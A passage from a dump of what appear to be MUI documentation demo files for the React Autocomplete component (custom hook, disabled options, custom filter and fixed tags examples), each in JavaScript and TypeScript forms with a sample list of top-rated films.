);\n}\n\nconst StyledItem = styled(Item)<ItemProps>(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  height: '24px',\n  margin: '2px',\n  lineHeight: '22px',\n  backgroundColor: '#fafafa',\n  border: `1px solid #e8e8e8`,\n  borderRadius: '2px',\n  boxSizing: 'content-box',\n  padding: '0 4px 0 10px',\n  outline: 0,\n  overflow: 'hidden',\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'rgba(255,255,255,0.08)',\n    borderColor: '#303030',\n  }),\n  '&:focus': {\n    borderColor: '#40a9ff',\n    backgroundColor: '#e6f7ff',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#003b57',\n      borderColor: '#177ddc',\n    }),\n  },\n  '& span': {\n    overflow: 'hidden',\n    whiteSpace: 'nowrap',\n    textOverflow: 'ellipsis',\n  },\n  '& svg': {\n    fontSize: '12px',\n    cursor: 'pointer',\n    padding: '4px',\n  },\n}));\n\nconst Listbox = styled('ul')(({ theme }) => ({\n  width: '300px',\n  margin: '2px 0 0',\n  padding: 0,\n  position: 'absolute',\n  listStyle: 'none',\n  backgroundColor: '#fff',\n  overflow: 'auto',\n  maxHeight: '250px',\n  borderRadius: '4px',\n  boxShadow: '0 2px 8px rgb(0 0 0 / 0.15)',\n  zIndex: 1,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#141414',\n  }),\n  '& li': {\n    padding: '5px 12px',\n    display: 'flex',\n    '& span': {\n      flexGrow: 1,\n    },\n    '& svg': {\n      color: 'transparent',\n    },\n  },\n  \"& li[aria-selected='true']\": {\n    backgroundColor: '#fafafa',\n    fontWeight: 600,\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#2b2b2b',\n    }),\n    '& svg': {\n      color: '#1890ff',\n    },\n  },\n  [`& li.${autocompleteClasses.focused}`]: {\n    backgroundColor: '#e6f7ff',\n    cursor: 'pointer',\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#003b57',\n    }),\n    '& svg': {\n      color: 'currentColor',\n    },\n  },\n}));\n\nfunction CustomAutocomplete<Value>(\n  props: UseAutocompleteProps<Value, true, false, false>,\n) {\n  const {\n    getRootProps,\n    getInputLabelProps,\n    getInputProps,\n    getItemProps,\n    getListboxProps,\n    getOptionProps,\n    groupedOptions,\n    value,\n    focused,\n    setAnchorEl,\n  } = useAutocomplete({\n    multiple: true,\n    ...props,\n  });\n\n  return (\n    <Root>\n      <div {...getRootProps()}>\n        <Label {...getInputLabelProps()}>Customized hook</Label>\n        <InputWrapper ref={setAnchorEl} className={focused ? 'focused' : ''}>\n          {value.map((option, index) => {\n            const { key, ...itemProps } = getItemProps({ index });\n            return (\n              <StyledItem\n                key={key}\n                {...itemProps}\n                label={props.getOptionLabel!(option)}\n              />\n            );\n          })}\n          <input {...getInputProps()} />\n        </InputWrapper>\n      </div>\n      {groupedOptions.length > 0 ? (\n        <Listbox {...getListboxProps()}>\n          {groupedOptions.map((option, index) => {\n            const { key, ...optionProps } = getOptionProps({ option, index });\n            return (\n              <li key={key} {...optionProps}>\n                <span>{props.getOptionLabel!(option)}</span>\n                <CheckIcon fontSize=\"small\" />\n              </li>\n            );\n          })}\n        </Listbox>\n      ) : null}\n    </Root>\n  );\n}\n\nexport default function CustomizedHook() {\n  return (\n    <CustomAutocomplete<FilmOptionType>\n      id=\"customized-hook-demo\"\n      defaultValue={[top100Films[1]]}\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n    />\n  );\n}\n\ninterface FilmOptionType {\n  title: string;\n  year: number;\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CustomizedHook.tsx.preview",
    "content": "<CustomAutocomplete<FilmOptionType>\n  id=\"customized-hook-demo\"\n  defaultValue={[top100Films[1]]}\n  options={top100Films}\n  getOptionLabel={(option) => option.title}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/DisabledOptions.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function DisabledOptions() {\n  return (\n    <Autocomplete\n      options={timeSlots}\n      getOptionDisabled={(option) =>\n        option === timeSlots[0] || option === timeSlots[2]\n      }\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"Disabled options\" />}\n    />\n  );\n}\n\n// One time slot every 30 minutes.\nconst timeSlots = Array.from(new Array(24 * 2)).map(\n  (_, index) =>\n    `${index < 20 ? '0' : ''}${Math.floor(index / 2)}:${\n      index % 2 === 0 ? '00' : '30'\n    }`,\n);\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/DisabledOptions.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function DisabledOptions() {\n  return (\n    <Autocomplete\n      options={timeSlots}\n      getOptionDisabled={(option) =>\n        option === timeSlots[0] || option === timeSlots[2]\n      }\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"Disabled options\" />}\n    />\n  );\n}\n\n// One time slot every 30 minutes.\nconst timeSlots = Array.from(new Array(24 * 2)).map(\n  (_, index) =>\n    `${index < 20 ? '0' : ''}${Math.floor(index / 2)}:${\n      index % 2 === 0 ? '00' : '30'\n    }`,\n);\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/DisabledOptions.tsx.preview",
    "content": "<Autocomplete\n  options={timeSlots}\n  getOptionDisabled={(option) =>\n    option === timeSlots[0] || option === timeSlots[2]\n  }\n  sx={{ width: 300 }}\n  renderInput={(params) => <TextField {...params} label=\"Disabled options\" />}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/Filter.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete, { createFilterOptions } from '@mui/material/Autocomplete';\n\nconst filterOptions = createFilterOptions({\n  matchFrom: 'start',\n  stringify: (option) => option.title,\n});\n\nexport default function Filter() {\n  return (\n    <Autocomplete\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      filterOptions={filterOptions}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"Custom filter\" />}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Filter.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete, { createFilterOptions } from '@mui/material/Autocomplete';\n\nconst filterOptions = createFilterOptions({\n  matchFrom: 'start',\n  stringify: (option: FilmOptionType) => option.title,\n});\n\nexport default function Filter() {\n  return (\n    <Autocomplete\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      filterOptions={filterOptions}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"Custom filter\" />}\n    />\n  );\n}\n\ninterface FilmOptionType {\n  title: string;\n  year: number;\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Filter.tsx.preview",
    "content": "<Autocomplete\n  options={top100Films}\n  getOptionLabel={(option) => option.title}\n  filterOptions={filterOptions}\n  sx={{ width: 300 }}\n  renderInput={(params) => <TextField {...params} label=\"Custom filter\" />}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/FixedTags.js",
    "content": "import * as React from 'react';\nimport Chip from '@mui/material/Chip';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function FixedTags() {\n  const fixedOptions = [top100Films[6]];\n  const [value, setValue] = React.useState([...fixedOptions, top100Films[13]]);\n\n  return (\n    <Autocomplete\n      multiple\n      id=\"fixed-tags-demo\"\n      value={value}\n      onChange={(event, newValue) => {\n        setValue([\n          ...fixedOptions,\n          ...newValue.filter((option) => !fixedOptions.includes(option)),\n        ]);\n      }}\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      renderValue={(values, getItemProps) =>\n        values.map((option, index) => {\n          const { key, ...itemProps } = getItemProps({ index });\n          return (\n            <Chip\n              key={key}\n              label={option.title}\n              {...itemProps}\n              disabled={fixedOptions.includes(option)}\n            />\n          );\n        })\n      }\n      style={{ width: 500 }}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Fixed tag\" placeholder=\"Favorites\" />\n      )}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/FixedTags.tsx",
    "content": "import * as React from 'react';\nimport Chip from '@mui/material/Chip';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function FixedTags() {\n  const fixedOptions = [top100Films[6]];\n  const [value, setValue] = React.useState([...fixedOptions, top100Films[13]]);\n\n  return (\n    <Autocomplete\n      multiple\n      id=\"fixed-tags-demo\"\n      value={value}\n      onChange={(event, newValue) => {\n        setValue([\n          ...fixedOptions,\n          ...newValue.filter((option) => !fixedOptions.includes(option)),\n        ]);\n      }}\n      options={top100Films}\n      getOptionLabel={(option) => option.title}\n      renderValue={(values, getItemProps) =>\n        values.map((option, index) => {\n          const { key, ...itemProps } = getItemProps({ index });\n          return (\n            <Chip\n              key={key}\n              label={option.title}\n              {...itemProps}\n              disabled={fixedOptions.includes(option)}\n            />\n          );\n        })\n      }\n      style={{ width: 500 }}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Fixed tag\" placeholder=\"Favorites\" />\n      )}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord 